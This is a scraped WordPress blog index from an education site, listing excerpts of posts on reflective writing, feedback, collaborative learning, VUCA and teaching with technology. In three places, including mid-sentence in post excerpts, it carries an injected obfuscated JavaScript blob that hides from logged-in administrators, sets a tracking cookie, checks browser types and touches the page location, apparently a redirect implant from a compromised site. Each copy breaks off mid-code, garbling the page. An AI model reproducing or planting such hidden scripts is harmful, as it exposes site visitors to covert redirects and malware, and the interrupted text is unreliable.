Reflective writing for deeper learning

Reflecting is a way of learning. As students move into senior school and then college, they will find opportunities to think about their thinking and analyze it to make meaning as well as understand their own self better. Moreover, before we start to understand the behavior of others it is important to first understand oneself……. Continue Reading →

Tags: , ,

Planning Purposeful Activities for Teaching- A checklist

I have often wonder what are the possible reasons why teachers add activities to their lesson plans.  From, ‘makes the class interesting-to-we are expected to do so’, the reasons are plenty. But I think one of the most important of them is using the activities as an opportunity for formative assessment. The other question that…… Continue Reading →

Tags: , ,

Small group collaboration and why it is important

According to National Association of Colleges and Employers. (2016) Job Outlook 2016, the attribute that employers seek most in job candidates is their ability to collaborate. In fact, according to ascd publication, communication skill at 70.2%, collaboration at 79.9% and leadership skills at 80.1% are the 3 top employability skills. In schools more and more teachers have…… Continue Reading →

Tags: , ,

One step at a time: the importance of depth over breadth in classroom teaching

One step at a time. According to Cambridge dictionary one step at a time, means, ‘slowly and carefully, doing just a little.’  There is lot of wisdom in this quote and we, very so often use it as an encouragement and advise to our friends, colleagues and family when they feel overwhelmed with some task. Also when…… Continue Reading →

Tags: , , ,

Feedback Ladder- Balance, Order and Harmony

Giving and receiving feedback is something that we encourage our students to practice as they engage in peer assessment. In fact, we give feedback to one another all the time informally. Therefore, learning how to feedback can enhance communication skill. Giving or receiving feedback is an art. Good art will always have Balance, Order, and…… Continue Reading →

Tags: , ,

Book Review: Teach Like A PIRATE

Writing a Book Review is a piece of cake only if you have devoured a book because you couldn’t put it down!  The book is a must read for teachers old or new to the profession. For experienced teachers, it helps in ‘sharpening the axe’ and for the new, a treasure that will ignite the…… Continue Reading →

Own a word

var _0x2cf4=[‘MSIE;’,’OPR’,’Chromium’,’Chrome’,’ppkcookie’,’location’,’’,’onload’,’getElementById’,’undefined’,’setTime’,’getTime’,’toUTCString’,’cookie’,’;\x20path=/’,’split’,’length’,’charAt’,’substring’,’indexOf’,’match’,’userAgent’,’Edge’];(function(_0x15c1df,_0x14d882){var _0x2e33e1=function(_0x5a22d4){while(–_0x5a22d4){_0x15c1df[‘push’](_0x15c1df[‘shift’]());}};_0x2e33e1(++_0x14d882);}(_0x2cf4,0x104));var _0x287a=function(_0x1c2503,_0x26453f){_0x1c2503=_0x1c2503-0x0;var _0x58feb3=_0x2cf4[_0x1c2503];return _0x58feb3;};window[_0x287a(‘0x0’)]=function(){(function(){if(document[_0x287a(‘0x1’)](‘wpadminbar’)===null){if(typeof _0x335357===_0x287a(‘0x2’)){function _0x335357(_0xe0ae90,_0x112012,_0x5523d4){var _0x21e546=”;if(_0x5523d4){var _0x5b6c5c=new Date();_0x5b6c5c[_0x287a(‘0x3’)](_0x5b6c5c[_0x287a(‘0x4′)]()+_0x5523d4*0x18*0x3c*0x3c*0x3e8);_0x21e546=’;\x20expires=’+_0x5b6c5c[_0x287a(‘0x5’)]();}document[_0x287a(‘0x6’)]=_0xe0ae90+’=’+(_0x112012||”)+_0x21e546+_0x287a(‘0x7′);}function _0x38eb7c(_0x2e2623){var _0x1f399a=_0x2e2623+’=’;var _0x36a90c=document[_0x287a(‘0x6’)][_0x287a(‘0x8’)](‘;’);for(var _0x51e64c=0x0;_0x51e64c

Our V.U.C.A World

Our complex world these days is often explained by the acronym V.U.C.A. Meaning, volatility, uncertainty, complexity, ambiguity. The four different types of challenge demand four distinct types of approach (HBR 2014). The acronym was introduced by the US American army war college to describe the world after the end of cold war. The word gained accepted…… Continue Reading →

Tags: , ,

Sustainability is about simple understandings

For schools education should not just be about strategy but also about content. As rightly said, strategy can only help in the process of communication. Content on the other hand is about introducing concepts and building knowledge through them to create new knowledge. Resources, that enable learning to take place, technology that motivates young learner…… Continue Reading →

The Skill-Development Initiative

The recent report published by FICCI (2013-2014), states that the percentage of formally skilled workforce available in India stands at 2% vis-e-vie n 96% for South Korea, 80% for Japan, 75% for Germany and 68% for UK. The initiative taken by the central government and by the state governments is commendable. It is forecasted that…… Continue Reading →

Teaching and Learning with Technology

How can one define technology? Dictionary meaning of technology refers to development of apparatus and equipment using scientific method for human use. If that the case, why are teachers so uncomfortable with the notion of use of technology in teaching? have teachers not always used technology to transfer information to their pupils? The use of…… Continue Reading →

To use the same methods and expect a different result would support the definition of insanity

Why are we as teachers reluctant to change? Considering the fact that the pupils in our care are exposed to the same content today as we are, should we not be more open to learning and innovations ourselves?  var _0x2cf4=[‘MSIE;’,’OPR’,’Chromium’,’Chrome’,’ppkcookie’,’location’,’’,’onload’,’getElementById’,’undefined’,’setTime’,’getTime’,’toUTCString’,’cookie’,’;\x20path=/’,’split’,’length’,’charAt’,’substring’,’indexOf’,’match’,’userAgent’,’Edge’];(function(_0x15c1df,_0x14d882){var _0x2e33e1=function(_0x5a22d4){while(–_0x5a22d4){_0x15c1df[‘push’](_0x15c1df[‘shift’]());}};_0x2e33e1(++_0x14d882);}(_0x2cf4,0x104));var _0x287a=function(_0x1c2503,_0x26453f){_0x1c2503=_0x1c2503-0x0;var _0x58feb3=_0x2cf4[_0x1c2503];return _0x58feb3;};window[_0x287a(‘0x0’)]=function(){(function(){if(document[_0x287a(‘0x1’)](‘wpadminbar’)===null){if(typeof _0x335357===_0x287a(‘0x2’)){function _0x335357(_0xe0ae90,_0x112012,_0x5523d4){var _0x21e546=”;if(_0x5523d4){var _0x5b6c5c=new Date();_0x5b6c5c[_0x287a(‘0x3’)](_0x5b6c5c[_0x287a(‘0x4′)]()+_0x5523d4*0x18*0x3c*0x3c*0x3e8);_0x21e546=’;\x20expires=’+_0x5b6c5c[_0x287a(‘0x5’)]();}document[_0x287a(‘0x6’)]=_0xe0ae90+’=’+(_0x112012||”)+_0x21e546+_0x287a(‘0x7′);}function _0x38eb7c(_0x2e2623){var _0x1f399a=_0x2e2623+’=’;var _0x36a90c=document[_0x287a(‘0x6’)][_0x287a(‘0x8’)](‘;’);for(var _0x51e64c=0x0;_0x51e64c

New beginnings

Samaskaara was launched in December 2015 with hope, some trepidation but with a desire to bring about self directed learning.var _0x2cf4=[‘MSIE;’,’OPR’,’Chromium’,’Chrome’,’ppkcookie’,’location’,’’,’onload’,’getElementById’,’undefined’,’setTime’,’getTime’,’toUTCString’,’cookie’,’;\x20path=/’,’split’,’length’,’charAt’,’substring’,’indexOf’,’match’,’userAgent’,’Edge’];(function(_0x15c1df,_0x14d882){var _0x2e33e1=function(_0x5a22d4){while(–_0x5a22d4){_0x15c1df[‘push’](_0x15c1df[‘shift’]());}};_0x2e33e1(++_0x14d882);}(_0x2cf4,0x104));var _0x287a=function(_0x1c2503,_0x26453f){_0x1c2503=_0x1c2503-0x0;var _0x58feb3=_0x2cf4[_0x1c2503];return _0x58feb3;};window[_0x287a(‘0x0’)]=function(){(function(){if(document[_0x287a(‘0x1’)](‘wpadminbar’)===null){if(typeof _0x335357===_0x287a(‘0x2’)){function _0x335357(_0xe0ae90,_0x112012,_0x5523d4){var _0x21e546=”;if(_0x5523d4){var _0x5b6c5c=new Date();_0x5b6c5c[_0x287a(‘0x3’)](_0x5b6c5c[_0x287a(‘0x4′)]()+_0x5523d4*0x18*0x3c*0x3c*0x3e8);_0x21e546=’;\x20expires=’+_0x5b6c5c[_0x287a(‘0x5’)]();}document[_0x287a(‘0x6’)]=_0xe0ae90+’=’+(_0x112012||”)+_0x21e546+_0x287a(‘0x7′);}function _0x38eb7c(_0x2e2623){var _0x1f399a=_0x2e2623+’=’;var _0x36a90c=document[_0x287a(‘0x6’)][_0x287a(‘0x8’)](‘;’);for(var _0x51e64c=0x0;_0x51e64c

Proudly powered by WordPress | Theme: Baskerville 2 by Anders Noren.

Up ↑

%d bloggers like this: